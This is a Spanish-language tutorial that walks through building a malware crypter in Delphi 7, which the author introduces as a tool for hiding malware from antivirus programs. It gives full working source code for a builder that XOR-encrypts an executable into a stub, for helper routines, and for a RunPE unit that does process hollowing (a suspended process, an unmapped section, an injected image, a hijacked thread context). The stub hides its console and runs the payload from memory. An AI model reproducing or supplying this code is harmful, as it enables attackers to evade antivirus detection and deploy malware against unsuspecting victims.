[Lenguaje] : Delphi
[Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion
0x02 : Creacion del Builder
0x03 : Creacion del Stub
0x04 : Probando el Crypter
0x05 : Creditos
-- =================--------
0x01 : Introduccion
Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7.
Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.
Empecemos ...
0x02 : Creacion del Builder
Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :
Despues agregamos los siguientes elementos al formulario :
* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)
El Edit contendra la ruta del archivo a cifrar , el primer boton sera para buscar el archivo , el segundo boton para cifrar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.
Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"
Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".
El formulario les deberia quedar asi :
Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :
Código
procedure TForm1.Button1Click(Sender: TObject); begin if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta // del archivo a cifrar begin Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con // la ruta del archivo marcado en el openDialog1 end; end;
Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo :
Código
procedure TForm1.Button2Click(Sender: TObject); var codigo: string; // Declaramos la variable "codigo" como string key: integer; // Declaramos la variable "key" como integer separador: string; // Declaramos la variable "separador" como string linea: string; // Declaramos la variable "linea" como string begin separador := '-barra-'; // Establecemos el valor que tendra la variable "separador" key := 123; // Establecemos el valor de la variable "key" como 123 codigo := xor_now(leer_archivo(Edit1.Text), key); // Leemos el archivo que hay en // la caja de texto y ciframos con XOR el contenido usando una key CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'), Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True); // Copiamos el stub.exe con el nombre de done.exe linea := separador + codigo + separador + IntToStr(key) + separador; // Establecemos // la variable "linea" con el valor de contenido del archivo cifrado con // XOR y la key del cifrado XOR escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos // los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y // tambien ponemos el valor de la variable "linea" ShowMessage('Done'); end;
El codigo les deberia quedar algo asi :
Para poder usar este codigo debemos crear una Unit llendo a "File->New->Unit" como en la siguiente imagen :
Una vez creada pongan el siguiente codigo :
Código
// Unit : Tools for Crypter // Coded By Doddy Hackman in the year 2015 // Credits : Based on OP Crypter By Xash // Thanks to Xash unit tools; interface uses SysUtils, Windows; function leer_datos(archivo, delimitador1, delimitador2: string): string; function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool; function leer_archivo(archivo_a_leer: String): AnsiString; function xor_now(texto: string; clave: integer): string; implementation function xor_now(texto: string; clave: integer): string; var numero: integer; // Establecemos la variable "numero" como integer contenido: string; // Establecemos la variable "contenido" como string begin contenido := ''; // Vaciamos el contenido de la variable "contenido" for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta // la longitud de la variable "texto" begin contenido := contenido + Char(integer(texto[numero]) xor clave); // ciframos los datos // con XOR end; Result := contenido; // Devolvemos el resultado de la funcion como el valor // de la variable "contenido" end; function leer_archivo(archivo_a_leer: String): AnsiString; var archivo: File; // Declaramos la variable "archivo" como File tipo: Byte; // Declaramos la variable "tipo" como Byte begin tipo := FileMode; // Establecemos el FileMode para abrir el archivo try FileMode := 0; // Establecemos como "0" el FileMode AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo {$I-} Reset(archivo, 1); // Leemos el archivo desde la primera linea {$I+} if IoResult = 0 then // Si IoResult es 0 ... try SetLength(Result, FileSize(archivo)); // Establecemos la longitud la // variable "Result" como la longitud del archivo if Length(Result) > 0 then // Si la longitud del resultado es mayor a 0 ... begin {$I-} BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos {$I+} if IoResult <> 0 then // Si es distinto a 0 .. Result := ''; end; finally CloseFile(archivo); // Cerramos el archivo end; finally FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo" end; end; function leer_datos(archivo, delimitador1, delimitador2: string): string; var contenido: string; // Declaramos la variable "contenido" como string limite: integer; // Declaramos la variable "limite" como integer dividiendo: integer; // Declaramos la variable "dividiendo" como integer dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer control1: integer; // Declaramos la variable "control1" como integer control2: integer; // Declaramos la variable "control2" como integer suma: integer; // Declaramos la variable "suma" como integer numero: integer; // Declaramos la variable "numero" como integer suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer resultado: string; // Declaramos la variable "resultado" como string contenido_final: string; // Declaramos la variable "contenido_final" como string begin if (FileExists(archivo)) then // Si existe el archivo ... begin contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo // en la variable "contenido" suma_inicial_1 := Length(delimitador1); // Calculamos la longitud de la variable // "delimitador1" suma_inicial_2 := Length(contenido); // Calculamos la longitud de la variable // "contenido" suma := Pos(delimitador1, contenido) + suma_inicial_1; // Calculamos la posicion del // "delimitador" en la variable "contenido" dividiendo := suma_inicial_2 - suma; // Restamos las variables "suma_inicial_2" // y "suma" dividiendo2 := suma_inicial_2 - dividiendo; // Restamos las variables "suma_inicial_2" // y "dividiendo" contenido := Copy(contenido, dividiendo2, suma_inicial_2); // Copiamos las variables y las guardmamos en "contenido" suma_casi_1 := Pos(delimitador1, contenido); // Calculamos la posicion de "delimitador1" // en la variable "contenido" suma_casi_2 := suma_casi_1 + suma_inicial_1; // Sumamos las variables "suma_casi_1" // y "suma_inicial_1" control1 := Pos(delimitador2, contenido) - suma_casi_2; // Calculamos la posicion // de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2" control2 := control1 - 1; // Restamos en uno la variable "control1" for numero := 0 to control2 do // Realizamos un for usando desde 0 hasta el valor // de la variable "control2" begin dividiendo3 := suma_inicial_1 + numero; // Sumamos la variables varibles "suma_inicial_1" // y "numero" dividiendo4 := Pos(delimitador1, contenido) + dividiendo3; // Calculamos la posicion de "delimitador1" en la variable // "contenido" contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta // en la variable "dividiendo4" para acceder a cierta posicion de la variable // "contenido" resultado := resultado + contenido_final; // Sumamos las variables "resultado" y // "contenido_final" end; if resultado = '' then // Si la variable "resultado" esta vacia ... begin resultado := 'Error'; // Mostramos "Error" en la variable "resultado" end else begin Result := resultado; // De lo contrario mostramos el contenido de la // variable "resultado" en resultado de la funcion end; end else begin Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de // la funcion end; end; function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool; var abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como // TextFile begin if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ... begin AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable // "ruta" Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable // "abriendo_archivo" try begin WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2); // Escribimos los datos // de las variables "delimitador1,"texto","delimitador2" end finally begin CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable // "abriendo_archivo" end; Result := True; // Devolvemos "True" como resultado de la funcion end; end else begin Result := False; // De lo contrario devolvemos "False" como resultado de la // funcion end; end; end. // The End ?
Y para terminar la Unit guardenla con el nombre de "tools".
Les deberia quedar algo asi :
Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :
Código
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,tools;
Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.
0x03 : Creacion del Stub
Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :
Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :
Una vez creado ponemos el siguiente codigo :
Código
{ uExecFromMem Author: steve10120 Description: Run an executable from another's memory. Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation(). Reference: http://www.security.org.sg/code/loadexe.html Release Date: 26th August 2009 Website: http://ic0de.org History: First try Additions by testest 15th July 2010: - Parameter support - Win7 x64 support } unit uExecFromMem; interface uses Windows; function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD; implementation function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll'; type PImageBaseRelocation = ^TImageBaseRelocation; TImageBaseRelocation = packed record VirtualAddress: DWORD; SizeOfBlock: DWORD; end; procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall; var l_i: Cardinal; l_codebase: Pointer; l_relocation: PImageBaseRelocation; l_dest: Pointer; l_relInfo: ^Word; l_patchAddrHL: ^DWord; l_type, l_offset: integer; begin l_codebase := f_module; if INH^.OptionalHeader.DataDirectory[5].Size > 0 then begin l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress); while l_relocation.VirtualAddress > 0 do begin l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress)); l_relInfo := Pointer(Cardinal(l_relocation) + 8); for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do begin l_type := (l_relInfo^ shr 12); l_offset := l_relInfo^ and $FFF; if l_type = 3 then begin l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset)); l_patchAddrHL^ := l_patchAddrHL^ + f_delta; end; inc(l_relInfo); end; l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock); end; end; end; function AlignImage(pImage:Pointer):Pointer; var IDH: PImageDosHeader; INH: PImageNtHeaders; ISH: PImageSectionHeader; i: WORD; begin IDH := pImage; INH := Pointer(Integer(pImage) + IDH^._lfanew); GetMem(Result, INH^.OptionalHeader.SizeOfImage); ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage); CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders); for i := 0 to INH^.FileHeader.NumberOfSections - 1 do begin ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40); CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData); end; end; function Get4ByteAlignedContext(var Base: PContext): PContext; begin Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE); Result := Base; if Base <> nil then while ((DWORD(Result) mod 4) <> 0) do Result := Pointer(DWORD(Result) + 1); end; function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD; var PI: TProcessInformation; SI: TStartupInfo; CT: PContext; CTBase: PContext; IDH: PImageDosHeader; INH: PImageNtHeaders; dwImageBase: DWORD; pModule: Pointer; dwNull: DWORD; begin if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams; Result := 0; IDH := pFile; if IDH^.e_magic = IMAGE_DOS_SIGNATURE then begin INH := Pointer(Integer(pFile) + IDH^._lfanew); if INH^.Signature = IMAGE_NT_SIGNATURE then begin FillChar(SI, SizeOf(TStartupInfo), #0); FillChar(PI, SizeOf(TProcessInformation), #0); SI.cb := SizeOf(TStartupInfo); if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then begin CT := Get4ByteAlignedContext(CTBase); if CT <> nil then begin CT.ContextFlags := CONTEXT_FULL; if GetThreadContext(PI.hThread, CT^) then begin ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull); if dwImageBase = INH^.OptionalHeader.ImageBase then begin if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE) else pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); end else pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); if pModule <> nil then begin pFile := AlignImage(pFile); if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then begin PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase)); INH^.OptionalHeader.ImageBase := DWORD(pModule); CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248); end; WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull); WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull); CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, CT^); ResumeThread(PI.hThread); Result := PI.hThread; end; end; VirtualFree(CTBase, 0, MEM_RELEASE); end; if Result = 0 then TerminateProcess(PI.hProcess, 0); end; end; end; end; end.
Para terminar guardamos la Unit como "uExecFromMem" y el codigo nos quedaria algo asi :
Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :
Código
uses SysUtils, StrUtils, Windows, uExecFromMem, tools;
Despues borren el "{$APPTYPE CONSOLE}" al inicio del codigo para que no se vea la consola al cargar el Stub.
Ahora debemos agregar el siguiente codigo que nos servira para usar arrays en el Stub.
El codigo :
Código
type otro_array = array of string; // Declaramos el tipo "otro_array" como array of string
Despues tenemos que agregar la siguiente funcion para manejar los arrays y los datos del Stub.
El codigo :
Código
procedure regex2(texto: string; separador: string; var resultado: otro_array); // Thanks to ecfisa for the help var numero1: integer; // Declaramos la variable "numero1" como integer numero2: integer; // Declaramos la variable "numero2" como integer begin texto := texto + separador; // Concatenamos la variable "texto" y "separador" numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en // la variable "texto" numero1 := 1; // Establecemos la variable "numero1" como "1" while numero1 <= numero2 do // Mientras "numero1" sea menor o igual a "numero2" ... begin SetLength(resultado, Length(resultado) + 1); // Establecemos la longitud de resultado // a la longitud de la variable "resultado" mas "1" resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1); // Establecemos la variable "resultado" como la copia de las variables "texto", // "numero1" y la resta de las variables "numero2" y "numero1" numero1 := numero2 + Length(separador); // Establecemos la variable "numero1" como // la suma de la variable "numero2" y la longitud de ña variable "separador" numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de // "separador" en el variable "texto" end; end;
Ahora agregamos el siguiente codigo entre el begin principal.
El codigo :
Código
var todo: string; // Declaramos la variable "todo" como string codigo: string; // Declaramos la variable "codigo" como string key: string; // Declaramos la variable "key" como string datos: otro_array; // Declaramos la variable "datos" como otro_array begin todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos // del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-" regex2(todo, '-barra-', datos); // Separamos los delimitadores que estan separados // por "-barra-" en la variable "todo" key := datos[2]; // Establecemos como "key" la segunda posicion del array "datos" codigo := datos[1]; // Establecemos como "codigo" la primera posicion del array // "datos" codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo" // la encriptacion XOR del contenido de la variable "codigo" usando la key y lo // guardamos en la variable "codigo" ExecuteFromMem(paramstr(0), '', Pchar(codigo)); // Ejecutamos el codig en memoria // usando la funcion "ExecuteFromMem" end.
Una imagen de como deberia quedarles el codigo :
Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.
0x04 : Probando el Crypter
Para probar el Crypter vamos a probarlo con una copia del programa mismo para cifrar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa cifrado , simplemente lo abrimos y veremos el builder cifrado.
Unas imagenes :
Con ven el Crypter funciona correctamente.
0x05 : Creditos
OP Crypter by Xash.
uExecFromMem by steve10120 - fixed for Win7x64 by testest.
Eso seria todo.
--========--
The End ?
--========--
Version PDF.
Version en VideoTutorial :